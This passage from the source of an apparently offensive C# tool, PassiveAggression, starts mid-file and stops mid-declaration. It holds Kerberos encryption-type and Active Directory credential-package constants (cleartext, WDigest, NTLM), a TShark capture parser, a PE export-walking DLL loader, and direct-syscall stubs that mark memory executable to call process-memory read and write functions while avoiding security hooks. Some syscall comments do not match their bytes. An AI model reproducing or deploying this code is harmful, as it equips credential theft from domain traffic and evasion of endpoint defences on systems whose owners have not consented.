57 | 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 58 | 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 59 | 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 60 | 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 61 | 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 62 | 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 63 | 64 | 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 65 | 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 66 | 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 67 | 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 68 | 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 69 | 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 70 | 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 71 | 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 72 | 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 73 | 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 74 | 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 75 | 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 76 | 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 77 | 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 78 | 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 79 | 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, 80 | }; 81 | 82 | public const int AES_256_KEY_LENGTH = 32; 83 | public const int MD5_DIGEST_LENGTH = 16; 84 | 85 | public const int KERB_ETYPE_NULL = 0; 86 | public const int KERB_ETYPE_DES_CBC_CRC = 1; 87 | public const int KERB_ETYPE_DES_CBC_MD4 = 2; 88 | public const int KERB_ETYPE_DES_CBC_MD5 = 3; 89 | public const int KERB_ETYPE_AES128_CTS_HMAC_SHA1_96 = 17; 90 | public const int KERB_ETYPE_AES256_CTS_HMAC_SHA1_96 = 18; 91 | 92 | 93 | public const int KERB_ETYPE_RC4_MD4 = -128; // FFFFFF80 94 | public const int KERB_ETYPE_RC4_PLAIN2 = -129; 95 | public const int KERB_ETYPE_RC4_LM = -130; 96 | public const int KERB_ETYPE_RC4_SHA = -131; 97 | public const int KERB_ETYPE_DES_PLAIN = -132; 98 | public const int KERB_ETYPE_RC4_HMAC_OLD = -133; // FFFFFF7B 99 | public const int KERB_ETYPE_RC4_PLAIN_OLD = -134; 100 | public const int KERB_ETYPE_RC4_HMAC_OLD_EXP = -135; 101 | public const int KERB_ETYPE_RC4_PLAIN_OLD_EXP = -136; 102 | public const int KERB_ETYPE_RC4_PLAIN = -140; 103 | public const int KERB_ETYPE_RC4_PLAIN_EXP = -141; 104 | 105 | public const int KERB_ETYPE_AES128_CTS_HMAC_SHA1_96_PLAIN = -148; 106 | public const int KERB_ETYPE_AES256_CTS_HMAC_SHA1_96_PLAIN = -149; 107 | 108 | public const int KERB_ETYPE_DES_CBC_MD5_NT = 20; 109 | public const int KERB_ETYPE_RC4_HMAC_NT = 23; 110 | public const int KERB_ETYPE_RC4_HMAC_NT_EXP = 24; 111 | 112 | 113 | public const string PrimaryCleartext = "Primary:CLEARTEXT"; 114 | public const string PrimaryWDigest = "Primary:WDigest"; 115 | public const string PrimaryKerberos = "Primary:Kerberos"; 116 | public const string PrimaryKerberosNew = "Primary:Kerberos-Newer-Keys"; 117 | public const string PrimaryNtlmStrongNTOWF = "Primary:NTLM-Strong-NTOWF"; 118 | public const string Packages = "Packages"; 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /PassiveAggression/Core/TShark.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using PassiveAgression.Core.Network; 8 | 9 | 10 | namespace PassiveAgression.Core 11 | { 12 | public class TShark 13 | { 14 | 15 | private readonly string _TSharkLocation; 16 | private readonly string _TSharkParameters; 17 | 18 | /// 19 | /// Contains the source message. Can be turned on for debugging 20 | /// 21 | private string src_message; 22 | 23 | /// 24 | /// Use UTF8 encoding when deserializing tshark messages 25 | /// 26 | private Encoding encoding = Encoding.UTF8; 27 | 28 | /// 29 | /// Function to invoke after deserialization 30 | /// 31 | private Action callbackAction; 32 | 33 | /// 34 | /// Creates a Tshark instance 35 | /// 36 | /// 37 | /// 38 | public TShark(string TSharkLocation, string TSharkParameters) 39 | { 40 | if (string.IsNullOrEmpty(TSharkLocation)) 41 | throw new ArgumentNullException("TSharkLocation is empty"); 42 | 43 | if (string.IsNullOrEmpty(TSharkParameters)) 44 | throw new ArgumentNullException("TSharkParameters is empty"); 45 | 46 | if (!File.Exists(TSharkLocation)) 47 | throw new ArgumentException($"Location does not exist: {TSharkLocation}"); 48 | 49 | // Check if MessageType has baseclass of TSharMessage 50 | 51 | this._TSharkLocation = TSharkLocation; 52 | this._TSharkParameters = TSharkParameters; 53 | 54 | } 55 | 56 | 57 | 58 | /// 59 | /// Runs Tshark from the specified location with given parameters 60 | /// Every message is deserialized into a TSharkMessage object and returned to the specified delegate 61 | /// 62 | internal void Run(Action callbackAction) 63 | { 64 | this.callbackAction = callbackAction; 65 | 66 | ProcessStartInfo startInfo = new ProcessStartInfo(_TSharkLocation, _TSharkParameters) 67 | { 68 | CreateNoWindow = true, 69 | RedirectStandardOutput = true, 70 | UseShellExecute = false 71 | }; 72 | 73 | Process? tshark = Process.Start(startInfo); 74 | 75 | int lineCount = 0; 76 | int msgCount = 0; 77 | StreamReader reader = tshark!.StandardOutput; 78 | StringBuilder sb = new StringBuilder(); 79 | 80 | while (true) 81 | { 82 | string line = reader.ReadLine(); 83 | 84 | if (!string.IsNullOrEmpty(line) && line.Contains("\"_index\"")) 85 | { 86 | msgCount++; 87 | if (msgCount >= 1) 88 | { 89 | 90 | //string trimmed = TrimJsonMessage(sb.ToString()); 91 | var trimmed = TrimJsonMessage(sb.ToString()); 92 | ProcessTsharkMessage(trimmed); 93 | sb.Clear(); 94 | msgCount = 0; 95 | 96 | sb.AppendLine("{"); 97 | } 98 | } 99 | 100 | if (line == null) 101 | { 102 | //string trimmed = TrimJsonMessage(sb.ToString()); 103 | var trimmed = TrimJsonMessage(sb.ToString()); 104 | 105 | ProcessTsharkMessage(trimmed); 106 | sb.Clear(); 107 | break; 108 | } 109 | 110 | //writer.WriteLine(line); 111 | sb.AppendLine(line); 112 | lineCount++; 113 | } 114 | 115 | while (true) 116 | { 117 | tshark.Refresh(); 118 | if (tshark.HasExited || tshark.WaitForExit(500)) 119 | { 120 | break; 121 | } 122 | } 123 | } 124 | 125 | 126 | /// 127 | /// Trims specific json line characters from string 128 | /// 129 | /// 130 | /// 131 | private string TrimJsonMessage(string message) 132 | { 133 | var trimmed = message.Trim(); 134 | trimmed = trimmed.TrimStart(' ', '[', '\r', '\n'); 135 | trimmed = trimmed.TrimEnd(' ', ',', '\r', '\n', '{'); 136 | trimmed = trimmed.TrimEnd(']').TrimEnd('\r').TrimEnd('\n'); 137 | 138 | return trimmed; 139 | } 140 | 141 | 142 | /// 143 | /// Deserializes the TShark message and invokes callbackfunction 144 | /// 145 | /// 146 | private void ProcessTsharkMessage(string message) 147 | { 148 | 149 | if (string.IsNullOrEmpty(message)) 150 | return; 151 | 152 | TSharkMessage tMessage = new TSharkMessage(message); 153 | 154 | callbackAction(tMessage); 155 | 156 | } 157 | } 158 | } 159 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Win32/CustomLoadLibrary.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace PassiveAgression.Core.Win32 10 | { 11 | public class CustomLoadLibrary 12 | { 13 | /// 14 | /// Resolves LdrLoadDll and uses that function to load a DLL from disk. 15 | /// 16 | /// Ruben Boonen (@FuzzySec) 17 | /// The path to the DLL on disk. Uses the LoadLibrary convention. 18 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully. 19 | public static IntPtr LoadModuleFromDisk(string DLLPath) 20 | { 21 | Natives.UNICODE_STRING uModuleName = new Natives.UNICODE_STRING(); 22 | Natives.RtlInitUnicodeString(ref uModuleName, DLLPath); 23 | 24 | IntPtr hModule = IntPtr.Zero; 25 | Natives.NTSTATUS CallResult = (Natives.NTSTATUS)Natives.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); 26 | if (CallResult != Natives.NTSTATUS.Success || hModule == IntPtr.Zero) 27 | { 28 | return IntPtr.Zero; 29 | } 30 | 31 | return hModule; 32 | } 33 | 34 | public static IntPtr GetDllAddress(string DLLName, bool CanLoadFromDisk = false) 35 | { 36 | IntPtr hModule = GetLoadedModuleAddress(DLLName); 37 | if (hModule == IntPtr.Zero && CanLoadFromDisk) 38 | { 39 | hModule = LoadModuleFromDisk(DLLName); 40 | if (hModule == IntPtr.Zero) 41 | { 42 | hModule = LoadModuleFromDisk(@"C:\Windows\System32\" + DLLName); 43 | if (hModule == IntPtr.Zero) 44 | { 45 | throw new FileNotFoundException(DLLName + ", unable to find the specified file."); 46 | } 47 | } 48 | } 49 | else if (hModule == IntPtr.Zero) 50 | { 51 | throw new DllNotFoundException(DLLName + ", Dll was not found."); 52 | } 53 | 54 | return hModule; 55 | } 56 | 57 | /// 58 | /// Helper for getting the pointer to a function from a DLL loaded by the process. 59 | /// 60 | /// Ruben Boonen (@FuzzySec) 61 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). 62 | /// Name of the exported procedure. 63 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. 64 | /// IntPtr for the desired function. 65 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false) 66 | { 67 | IntPtr hModule = GetLoadedModuleAddress(DLLName); 68 | if (hModule == IntPtr.Zero && CanLoadFromDisk) 69 | { 70 | hModule = LoadModuleFromDisk(DLLName); 71 | if (hModule == IntPtr.Zero) 72 | { 73 | throw new FileNotFoundException(DLLName + ", unable to find the specified file."); 74 | } 75 | } 76 | else if (hModule == IntPtr.Zero) 77 | { 78 | throw new DllNotFoundException(DLLName + ", Dll was not found."); 79 | } 80 | 81 | return GetExportAddress(hModule, FunctionName); 82 | } 83 | 84 | /// 85 | /// Helper for getting the base address of a module loaded by the current process. This base address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for manual export parsing. 86 | /// 87 | /// Ruben Boonen (@FuzzySec) 88 | /// The name of the DLL (e.g. "ntdll.dll"). 89 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. 90 | public static IntPtr GetLoadedModuleAddress(string DLLName) 91 | { 92 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; 93 | foreach (ProcessModule Mod in ProcModules) 94 | { 95 | if (Mod.FileName.EndsWith(DLLName, StringComparison.OrdinalIgnoreCase)) 96 | { 97 | return Mod.BaseAddress; 98 | } 99 | } 100 | 101 | return IntPtr.Zero; 102 | } 103 | 104 | /// 105 | /// Given a module base address, resolve the address of a function by manually walking the module export table. 106 | /// 107 | /// Ruben Boonen (@FuzzySec) 108 | /// A pointer to the base address where the module is loaded in the current process. 109 | /// The name of the export to search for (e.g. "NtAlertResumeThread"). 110 | /// IntPtr for the desired function. 111 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) 112 | { 113 | IntPtr FunctionPtr = IntPtr.Zero; 114 | try 115 | { 116 | // Traverse the PE header in memory 117 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 118 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); 119 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 120 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 121 | Int64 pExport = 0; 122 | if (Magic == 0x010b) 123 | { 124 | pExport = OptHeader + 0x60; 125 | } 126 | else 127 | { 128 | pExport = OptHeader + 0x70; 129 | } 130 | 131 | // Read -> IMAGE_EXPORT_DIRECTORY 132 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 133 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 134 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); 135 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 136 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 137 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 138 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 139 | 140 | // Loop the array of export name RVA's 141 | for (int i = 0; i < NumberOfNames; i++) 142 | { 143 | 144 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 145 | 146 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) 147 | { 148 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 149 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 150 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); 151 | break; 152 | } 153 | 154 | } 155 | } 156 | catch 157 | { 158 | // Catch parser failure 159 | throw new InvalidOperationException("Failed to parse module exports."); 160 | } 161 | 162 | if (FunctionPtr == IntPtr.Zero) 163 | { 164 | // Export not found 165 | throw new MissingMethodException(ExportName + ", export not found."); 166 | } 167 | return FunctionPtr; 168 | } 169 | } 170 | 171 | } 172 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Win32/Syscall.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | using System.Security; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using PassiveAgression.Core.Crypto; 10 | 11 | namespace PassiveAgression.Core.Win32 12 | { 13 | class SysCall 14 | { 15 | const int memoryPtrotection = 0x40; 16 | 17 | /// 0: 49 89 ca mov r10,rcx 18 | /// 3: b8 0f 00 00 00 mov eax,0x0f 19 | /// 8: 0f 05 syscall 20 | /// a: c3 ret 21 | 22 | static byte[] bZwClose10 = { 0x49, 0x89, 0xCA, 0xB8, 0x0F, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; 23 | 24 | /// 0: 49 89 ca mov r10,rcx 25 | /// 3: b8 0f 00 00 00 mov eax,0x3A 26 | /// 8: 0f 05 syscall 27 | /// a: c3 ret 28 | 29 | static byte[] bZwWriteVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x3A, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; 30 | 31 | /// 0: 49 89 ca mov r10,rcx 32 | /// 3: b8 0f 00 00 00 mov eax,0x50 33 | /// 8: 0f 05 syscall 34 | /// a: c3 ret 35 | 36 | static byte[] bZwProtectVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x50, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; 37 | 38 | /// 0: 49 89 ca mov r10,rcx 39 | /// 3: b8 0f 00 00 00 mov eax,0x36 40 | /// 8: 0f 05 syscall 41 | /// a: c3 ret 42 | 43 | static byte[] bZwQuerySystemInformation10 = { 0x49, 0x89, 0xCA, 0xB8, 0x36, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; 44 | 45 | /// 0: 4c 8b d1 mov r10,rcx 46 | /// 3: b8 0f 00 00 00 mov eax,0x18 47 | /// 8: 0f 05 syscall 48 | /// a: c3 ret 49 | 50 | static byte[] bNtReadVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x3f, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; 51 | 52 | /// 0: 49 89 ca mov r10,rcx 53 | /// 3: b8 0f 00 00 00 mov eax,0x3f 54 | /// 8: 0f 05 syscall 55 | /// a: c3 ret 56 | 57 | static byte[] bNtAllocateVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x18, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; 58 | 59 | /// 0: 49 89 ca mov r10,rcx 60 | /// 3: b8 0f 00 00 00 mov eax,0x1E 61 | /// 8: 0f 05 syscall 62 | /// a: c3 ret 63 | 64 | static byte[] bNtFreeVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x1E, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; 65 | 66 | /// 0: 49 89 ca mov r10,rcx 67 | /// 3: b8 0f 00 00 00 mov eax,0x55 68 | /// 8: 0f 05 syscall 69 | /// a: c3 ret 70 | 71 | static byte[] bNtCreateFile10 = { 0x49, 0x89, 0xCA, 0xB8, 0x55, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; 72 | 73 | ///0: 49 89 ca mov r10,rcx 74 | ///3: b8 26 00 00 00 mov eax,0x26 75 | ///8: 0f 05 syscall 76 | ///a: c3 ret 77 | 78 | static byte[] bZwOpenProcess10 = { 0x49, 0x89, 0xCA, 0xB8, 0x26, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; 79 | 80 | public static Natives.NTSTATUS ZwOpenProcess10(ref IntPtr hProcess, Natives.ProcessAccessFlags processAccess, Natives.OBJECT_ATTRIBUTES objAttribute, ref Natives.CLIENT_ID clientid) 81 | { 82 | byte[] syscall = bZwOpenProcess10; 83 | 84 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned); 85 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject(); 86 | 87 | if (!Natives.VirtualProtect(memoryAddress, 88 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect)) 89 | { 90 | throw new Win32Exception(); 91 | } 92 | 93 | Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); 94 | 95 | return (Natives.NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid); 96 | 97 | } 98 | 99 | public static Natives.NTSTATUS ZwClose10(IntPtr handle) 100 | { 101 | byte[] syscall = bZwClose10; 102 | 103 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned); 104 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject(); 105 | 106 | if (!Natives.VirtualProtect(memoryAddress, 107 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect)) 108 | { 109 | throw new Win32Exception(); 110 | } 111 | 112 | Delegates.ZwClose myAssemblyFunction = (Delegates.ZwClose)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwClose)); 113 | 114 | return (Natives.NTSTATUS)myAssemblyFunction(handle); 115 | 116 | } 117 | 118 | public static Natives.NTSTATUS ZwQuerySystemInformation10(Natives.SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength) 119 | { 120 | byte[] syscall = bZwQuerySystemInformation10; 121 | 122 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned); 123 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject(); 124 | 125 | if (!Natives.VirtualProtect(memoryAddress, 126 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect)) 127 | { 128 | throw new Win32Exception(); 129 | } 130 | 131 | Delegates.ZwQuerySystemInformation myAssemblyFunction = (Delegates.ZwQuerySystemInformation)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwQuerySystemInformation)); 132 | 133 | return (Natives.NTSTATUS)myAssemblyFunction(SystemInformationClass, SystemInformation, SystemInformationLength, ref ReturnLength); 134 | 135 | } 136 | 137 | public static Natives.NTSTATUS NtReadVirtualMemory10(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, int NumberOfBytesToRead, int NumberOfBytesRead) 138 | { 139 | byte[] syscall = bNtReadVirtualMemory10; 140 | 141 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned); 142 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject(); 143 | 144 | if (!Natives.VirtualProtect(memoryAddress, 145 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect)) 146 | { 147 | throw new Win32Exception(); 148 | } 149 | 150 | Delegates.NtReadVirtualMemory myAssemblyFunction = (Delegates.NtReadVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtReadVirtualMemory)); 151 | 152 | return (Natives.NTSTATUS)myAssemblyFunction(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead); 153 | 154 | } 155 | 156 | public static Natives.NTSTATUS NtWriteVirtualMemory10(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten) 157 | { 158 | byte[] syscall = bZwWriteVirtualMemory10; 159 | 160 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned); 161 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject(); 162 | 163 | if (!Natives.VirtualProtect(memoryAddress, 164 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect)) 165 | { 166 | throw new Win32Exception(); 167 | } 168 | 169 | Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory)); 170 | 171 | return (Natives.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten); 172 | 173 | } 174 | 175 | public static Natives.NTSTATUS NtAllocateVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect) 176 | { 177 | byte[] syscall = bNtAllocateVirtualMemory10; 178 | 179 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned); 180 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject(); 181 | 182 | if (!Natives.VirtualProtect(memoryAddress, 183 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect)) 184 | { 185 | throw new Win32Exception(); 186 | } 187 | 188 | Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory)); 189 | 190 | return (Natives.NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); 191 | 192 | } 193 | 194 | public static Natives.NTSTATUS NtFreeVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType) 195 | { 196 | byte[] syscall = bNtFreeVirtualMemory10; 197 | 198 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned); 199 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject(); 200 | 201 | if (!Natives.VirtualProtect(memoryAddress, 202 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect)) 203 | { 204 | throw new Win32Exception(); 205 | } 206 | 207 | 208 | Delegates.NtFreeVirtualMemory myAssemblyFunction = (Delegates.NtFreeVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtFreeVirtualMemory)); 209 | 210 | return (Natives.NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ref RegionSize, FreeType); 211 | 212 | } 213 | 214 | public struct Delegates 215 | { 216 | [SuppressUnmanagedCodeSecurity] 217 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 218 | public delegate int ZwOpenProcess(out IntPtr hProcess, Natives.ProcessAccessFlags processAccess, Natives.OBJECT_ATTRIBUTES objAttribute, ref Natives.CLIENT_ID clientid); 219 | 220 | [SuppressUnmanagedCodeSecurity] 221 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 222 | public delegate int ZwClose(IntPtr handle); 223 | 224 | [SuppressUnmanagedCodeSecurity] 225 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 226 | public delegate int ZwQuerySystemInformation(Natives.SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength); 227 | 228 | [SuppressUnmanagedCodeSecurity] 229 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 230 | public delegate int NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, int NumberOfBytesToRead, int NumberOfBytesRead); 231 | 232 | [SuppressUnmanagedCodeSecurity] 233 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 234 | public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten); 235 | 236 | [SuppressUnmanagedCodeSecurity] 237 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 238 | public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect); 239 | 240 | [SuppressUnmanagedCodeSecurity] 241 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 242 | public delegate int NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType); 243 | 244 | [SuppressUnmanagedCodeSecurity] 245 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 246 | public delegate bool RtlEqualUnicodeString(Natives.UNICODE_STRING String1, Natives.UNICODE_STRING String2, bool CaseInSensitive); 247 | 248 | [SuppressUnmanagedCodeSecurity] 249 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 250 | public delegate bool RtlGetVersion(ref Natives.OSVERSIONINFOEXW lpVersionInformation); 251 | 252 | [SuppressUnmanagedCodeSecurity] 253 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 254 | public delegate void RtlGetNtVersionNumbers(out UInt32 major, out UInt32 minor, out UInt32 build); 255 | 256 | [SuppressUnmanagedCodeSecurity] 257 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 258 | public delegate bool RtlInitUnicodeString(ref Natives.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString); 259 | 260 | [SuppressUnmanagedCodeSecurity] 261 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 262 | public delegate bool RtlInitString(ref Natives.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPStr)] string SourceString); 263 | 264 | [SuppressUnmanagedCodeSecurity] 265 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 266 | public delegate bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); 267 | 268 | [SuppressUnmanagedCodeSecurity] 269 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 270 | public delegate int LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Natives.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle); 271 | 272 | [SuppressUnmanagedCodeSecurity] 273 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 274 | public delegate int NtFilterToken(IntPtr TokenHandle, uint Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken); 275 | 276 | [SuppressUnmanagedCodeSecurity] 277 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 278 | public delegate IntPtr GetCurrentProcess(); 279 | 280 | [SuppressUnmanagedCodeSecurity] 281 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 282 | public delegate bool CloseHandle(IntPtr handle); 283 | 284 | [SuppressUnmanagedCodeSecurity] 285 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 286 | public delegate bool GetTokenInformation(IntPtr TokenHandle, Natives.TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength); 287 | 288 | [SuppressUnmanagedCodeSecurity] 289 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 290 | public delegate bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); 291 | 292 | [SuppressUnmanagedCodeSecurity] 293 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 